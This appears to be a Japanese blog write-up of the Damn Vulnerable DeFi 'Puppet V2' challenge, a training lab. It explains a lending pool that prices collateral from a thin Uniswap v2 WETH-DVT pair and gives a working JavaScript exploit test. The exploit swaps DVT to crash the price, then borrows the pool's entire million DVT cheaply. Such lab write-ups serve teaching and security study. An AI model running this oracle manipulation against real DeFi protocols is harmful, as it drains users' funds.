moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi(九)- Puppet V2

Damn Vulnerable DeFiは、DeFi スマートコントラクト攻撃のチャレンジシリーズです。内容には、フラッシュローン攻撃、レンディングプール、オンチェーンオラクルなどが含まれています。始める前に、Solidity と JavaScript の関連スキルを持っている必要があります。各問題では、その単体テストがパスすることを確認する必要があります。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/9.html

問題の説明:

前の問題で、レンディングプールの開発者が新しいバージョンをリリースしました。今回は、価格オラクルとして Uniswap v2 エクスチェンジと推奨されるツールキットを使用しています。

あなたは最初に 20ETH と 10000DVT を持っており、新しいレンディングプールには 100 万 DVT があります。レンディングプールの中の DVT をすべて借り出す必要があります。

この問題の解決策は前の問題と同じですが、異なる点はETHWETHに変わったことです。WETHは ERC20 標準に準拠したトークンであり、ETHとの価値比率は 1:1 です。

次に、価格オラクルとしてuniswapの v2 バージョンを使用しています。v2 バージョンでは、トークン対トークンのペアリングコントラクトをサポートしており、この問題では WETH-DVT のペアリングコントラクトが使用されています。

提供されるレンディングコントラクトPuppetV2Pool.solの借り出し機能は次のとおりです。

function borrow(uint256 borrowAmount) external {
    // このコントラクトが保持しているDVTの量が借り出し量よりも大きいことを確認する
    require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
    // 必要なWETHのデポジットを計算する
    uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

    // WETHをこのコントラクトに転送する
    _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

    // デポジットしたWETHを記録する
    deposits[msg.sender] += depositOfWETHRequired;

    // DVTトークンをmsg.senderに転送する
    require(_token.transfer(msg.sender, borrowAmount));
    emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

DVTを借り出すためには、WETHをデポジットする必要があります。デポジットする WETH の量は次のメソッドで計算されます。

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
    // 抵当の価値は借り出しのDVTの3倍である
    return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

function _getOracleQuote(uint256 amount) private view returns (uint256) {
    // WETHとDVTのリザーブを取得する
    // getReservesは内部でペアリングコントラクトのアドレスを計算し、トークンのリザーブを返す
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
        _uniswapFactory, address(_weth), address(_token)
    );
    // DVTの価値を計算する
    // amount / x = reservesToken / reservesWETH
    // x = (amount * reservesWETH) / reservesToken
    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

uniswapには WETH-DVT のペアリングコントラクトがあり、リザーブ量はreservesWETHreservesTokenです。

DVTの価値は次の式を満たします:

x=amount×reservesWETHreservesTokenx = \frac {amount \times reservesWETH}{reservesToken}

テストスクリプトpuppet-v2.challenge.jsでは、次の初期化が行われます。

  • Uniswapファクトリーコントラクトに WETH-DVT のペアリングコントラクトがデプロイされ、流動性が 10WETH-100DVT に追加されます。
  • attackerに 10000DVT と 20ETH が転送されます。
  • レンディングプールコントラクトに 1000000DVT が転送されます。

ハッカーがすべての DVT を借り出す場合、コストは次のようになります。

1000000×10100×3=300000(WETH)\frac {1000000 \times 10}{100} \times 3 = 300000(WETH)

WETHWTHは 1:1 の等価であり、ハッカーは 20ETH しか持っていません。したがって、これは不可能です。

そのため、ハッカーは持っているDVTuniswapWETHに交換することができます。これにより、WETH-DVT のペアリングコントラクトのDVTのリザーブ量が増加し、WETHのリザーブ量が減少します。つまり、DVTの価値を計算する式では、分母が増加し、分子の値が減少します。したがって、DVTの価値は全体的に低下します。

it('Exploit', async function () {
  const attackerCallLendingPool = this.lendingPool.connect(attacker)
  const attackerCallUniswap = this.uniswapRouter.connect(attacker)
  const attackerCallToken = this.token.connect(attacker)
  const attackerCallWETH = this.weth.connect(attacker)

  // init:
  // Attacker ETH:  20.0
  // Attacker WETH:  0.0
  // Attacker DVT:  10000.0
  // Uniswap WETH:  10.0
  // Uniswap DVT:  100.0
  // LendingPool DVT:  1000000.0

  // Uniswapに対してハッカーのDVTトークンを承認する
  await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)

  // DVTを使用してUniswapでWETHを交換する
  await attackerCallUniswap.swapExactTokensForTokens(
    ATTACKER_INITIAL_TOKEN_BALANCE, 
    ethers.utils.parseEther('9'),
    [attackerCallToken.address, attackerCallWETH.address],
    attacker.address,
    (await ethers.provider.getBlock('latest')).timestamp * 2
  )
  // Attacker ETH:  19.99975413442550073
  // Attacker WETH:  9.900695134061569016
  // Attacker DVT:  0.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  1000000.0

  // 必要なWETHのデポジットを計算する
  const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
  console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
  // collateralCount:  29.49649483319732198

  await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
  const tx = {
    to: attackerCallWETH.address,
    value: ethers.utils.parseEther('19.9')
  }
  await attacker.sendTransaction(tx)

  // DVTを借り出す
  await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
    gasLimit: 1e6
  })

  // Attacker ETH:  0.099518462674923535
  // Attacker WETH:  0.304200300864247036
  // Attacker DVT:  1000000.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  0.0
  // The WETH that the hacker deposited: 29.49649483319732198
})

最後に、yarn puppet-v2を実行してテストがパスすることを確認します!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。